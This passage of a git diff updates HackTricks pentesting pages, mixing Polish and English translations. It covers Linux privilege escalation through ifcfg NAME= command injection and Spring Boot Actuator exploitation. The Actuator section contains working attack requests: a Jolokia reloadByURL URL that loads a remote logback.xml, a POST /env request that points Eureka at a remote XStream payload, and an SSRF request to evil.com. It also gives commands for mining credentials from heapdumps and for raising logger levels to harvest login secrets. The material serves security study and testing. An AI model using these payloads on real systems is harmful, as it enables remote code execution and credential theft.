sprawdź, czy możesz eskalować uprawnienia, zastępując logi symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Odniesienie do podatności:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +Jeśli z jakiegoś powodu użytkownik jest w stanie **zapisć** skrypt `ifcf-` do _/etc/sysconfig/network-scripts_ **lub** może **zmodyfikować** istniejący, to twój **system is pwned**. -Skrypty sieciowe, np. _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak na Linuksie są one ~sourced~ przez Network Manager (dispatcher.d). +Skrypty sieciowe, np. _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są \~sourced\~ na Linuxie przez Network Manager (dispatcher.d). -W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest poprawnie obsługiwany. Jeśli w nazwie znajduje się **spacja (white/blank space), system próbuje wykonać część po tej spacji**. Oznacza to, że **wszystko po pierwszej spacji jest wykonywane jako root**. +W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany prawidłowo. Jeśli w nazwie znajduje się spacja, system próbuje wykonać część po tej spacji. To oznacza, że **wszystko po pierwszej spacji jest wykonywane jako root**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Na przykład: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Uwaga: spacja między Network a /bin/id_) +(_Zauważ pustą spację między Network a /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, i rc.d** -Katalog `/etc/init.d` jest miejscem dla **skryptów** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuxie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasem `reload` usług. Można je uruchamiać bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywna ścieżka w systemach Redhat to `/etc/rc.d/init.d`. +Katalog `/etc/init.d` zawiera **skrypty** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuxie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasem `reload` usług. Mogą być one wykonywane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywna ścieżka w systemach Redhat to `/etc/rc.d/init.d`. -Z kolei `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań związanych z zarządzaniem usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal używane obok konfiguracji Upstart ze względu na warstwę kompatybilności w Upstart. +Z kolei `/etc/init` jest powiązany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal używane obok konfiguracji Upstart dzięki warstwie kompatybilności w Upstart. -**systemd** to nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje takie jak uruchamianie demonów na żądanie, zarządzanie automountami i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych oraz w `/etc/systemd/system/` dla modyfikacji administratora, upraszczając proces administracji systemu. +**systemd** wyłania się jako nowoczesny menedżer inicjalizacji i usług, oferując zaawansowane funkcje takie jak uruchamianie daemonów na żądanie, zarządzanie automount i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, upraszczając proces administracji systemem. ## Other Tricks @@ -1404,7 +1430,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: +Android rooting frameworks często hookują syscall, aby udostępnić uprzywilejowaną funkcjonalność jądra managerowi w userspace. Słaba autentykacja managera (np. sprawdzanie podpisu oparte na FD-order lub słabe schematy haseł) może umożliwić lokalnej aplikacji podszycie się pod managera i eskalację do root na urządzeniach już zrootowanych. Dowiedz się więcej i poznaj szczegóły eksploatacji tutaj: {{#ref}} @@ -1422,18 +1448,18 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## Linux/Unix Privesc Tools -### **Najlepsze narzędzie do wyszukiwania lokalnych wektorów privilege escalation w Linuksie:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumeruje luki jądra w Linux i MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (dostęp fizyczny):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Zbiór dodatkowych skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## References @@ -1454,6 +1480,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index c23029bb5..28d2018c1 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -8,28 +8,28 @@ **From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Wykorzystywanie Spring Boot Actuators +## Exploiting Spring Boot Actuators -**Sprawdź oryginalny post z** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Sprawdź oryginalny wpis na** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Kluczowe punkty:** +### **Key Points:** -- Spring Boot Actuators rejestruje punkty końcowe, takie jak `/health`, `/trace`, `/beans`, `/env` itd. W wersjach od 1 do 1.4, te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 wzwyż, tylko `/health` i `/info` są domyślnie nie wrażliwe, ale deweloperzy często wyłączają to zabezpieczenie. -- Niektóre punkty końcowe Actuator mogą ujawniać wrażliwe dane lub umożliwiać szkodliwe działania: -- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, i `/heapdump`. -- W Spring Boot 1.x, actuatory są rejestrowane pod głównym URL, podczas gdy w 2.x, są pod podstawową ścieżką `/actuator/`. +- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security. +- Certain Actuator endpoints can expose sensitive data or allow harmful actions: +- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`. +- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path. -### **Techniki eksploatacji:** +### **Exploitation Techniques:** -1. **Zdalne wykonanie kodu przez '/jolokia'**: -- Punkt końcowy `/jolokia` udostępnia bibliotekę Jolokia, która umożliwia dostęp HTTP do MBeans. -- Akcja `reloadByURL` może być wykorzystana do przeładowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu za pomocą skonstruowanych konfiguracji XML. -- Przykład URL exploita: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Modyfikacja konfiguracji przez '/env'**: +1. **Remote Code Execution via '/jolokia'**: +- The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans. +- The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations. +- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Config Modification via '/env'**: -- Jeśli obecne są biblioteki Spring Cloud, punkt końcowy `/env` pozwala na modyfikację właściwości środowiskowych. -- Właściwości mogą być manipulowane w celu wykorzystania luk, takich jak luka deserializacji XStream w usłudze Eureka serviceURL. -- Przykład żądania POST exploita: +- If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties. +- Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL. +- Example exploit POST request: ``` POST /env HTTP/1.1 @@ -40,25 +40,101 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Inne przydatne ustawienia**: -- Właściwości takie jak `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, i `spring.datasource.tomcat.max-active` mogą być manipulowane w celu różnych exploitów, takich jak SQL injection lub zmiana ciągów połączeń z bazą danych. +3. **Other Useful Settings**: +- Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings. -### **Dodatkowe informacje:** +### **Additional Information:** -- Kompletna lista domyślnych actuatorów jest dostępna [tutaj](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- Punkt końcowy `/env` w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje ta sama. +- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same. -### **Pokrewne tematy:** +### **Related Topics:** 1. **Env + H2 RCE**: -- Szczegóły dotyczące wykorzystywania kombinacji punktu końcowego `/env` i bazy danych H2 można znaleźć [tutaj](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Szczegóły dotyczące wykorzystania kombinacji endpointu `/env` i bazy H2 można znaleźć [tutaj](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF w Spring Boot przez niewłaściwą interpretację nazwy ścieżki**: -- Obsługa parametrów macierzowych (`;`) w nazwach ścieżek HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF). -- Przykład żądania exploita: +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- Obsługa parametrów macierzowych (`;`) w ścieżkach HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF). +- Przykładowe żądanie exploitujące: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump secrets mining (credentials, tokens, internal URLs) + +Jeśli `/actuator/heapdump` jest dostępny, zazwyczaj można pobrać pełny zrzut sterty JVM, który często zawiera aktywne sekrety (poświadczenia DB, klucze API, Basic-Auth, wewnętrzne adresy URL usług, mapy właściwości Spring itp.). + +- Pobieranie i szybkie wstępne przejrzenie: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Głębsza analiza przy użyciu VisualVM i OQL: +- Otwórz heapdump w VisualVM, sprawdź instancje `java.lang.String` lub uruchom OQL, aby wyszukać sekrety: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- Automatyczne wydobycie za pomocą JDumpSpider: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Typowe wartościowe odkrycia: +- Obiekty Spring `DataSourceProperties` / `HikariDataSource` ujawniające `url`, `username`, `password`. +- Wpisy `OriginTrackedMapPropertySource` odsłaniające `management.endpoints.web.exposure.include`, porty usług oraz osadzone Basic-Auth w URLach (np. Eureka `defaultZone`). +- Fragmenty żądań/odpowiedzi HTTP, w tym `Authorization: Basic ...`, uchwycone w pamięci. + +Wskazówki: +- Użyj listy słów skoncentrowanej na Spring do szybkiego odnajdywania endpointów actuator (np. SecLists spring-boot.txt) i zawsze sprawdź, czy `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` i `/actuator/configprops` również są dostępne. +- Poświadczenia z heapdump często działają dla sąsiednich usług, a czasem także dla użytkowników systemowych (SSH), dlatego testuj je szeroko. + + +## Abusing Actuator loggers/logging to capture credentials + +Jeśli `management.endpoints.web.exposure.include` na to pozwala i `/actuator/loggers` jest dostępny, można dynamicznie podnieść poziomy logowania do DEBUG/TRACE dla pakietów obsługujących uwierzytelnianie i przetwarzanie żądań. W połączeniu z czytelnymi logami (poprzez `/actuator/logfile` lub znane ścieżki logów) może to ujawnić poświadczenia przesyłane podczas procesów logowania (np. nagłówki Basic-Auth lub parametry formularzy). + +- Wyenumeruj i podbij wrażliwe loggery: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Znajdź, gdzie zapisywane są logi i pozyskaj je: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Wywołaj ruch logowania/uwierzytelniania i przeanalizuj logi pod kątem poświadczeń. W architekturach mikroserwisów z gateway przed autoryzacją, włączenie TRACE dla pakietów gateway/security często powoduje ujawnienie nagłówków i ciał formularzy. Niektóre środowiska nawet okresowo generują syntetyczny ruch logowania, co sprawia, że zbieranie danych staje się trywialne po zwiększeniu szczegółowości logów. + +Uwaga: +- Zresetuj poziomy logów po zakończeniu: `POST /actuator/loggers/` z `{ "configuredLevel": null }`. +- Jeśli `/actuator/httpexchanges` jest dostępny, może też ujawnić metadane ostatnich żądań, które mogą zawierać poufne nagłówki. + + +## References + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}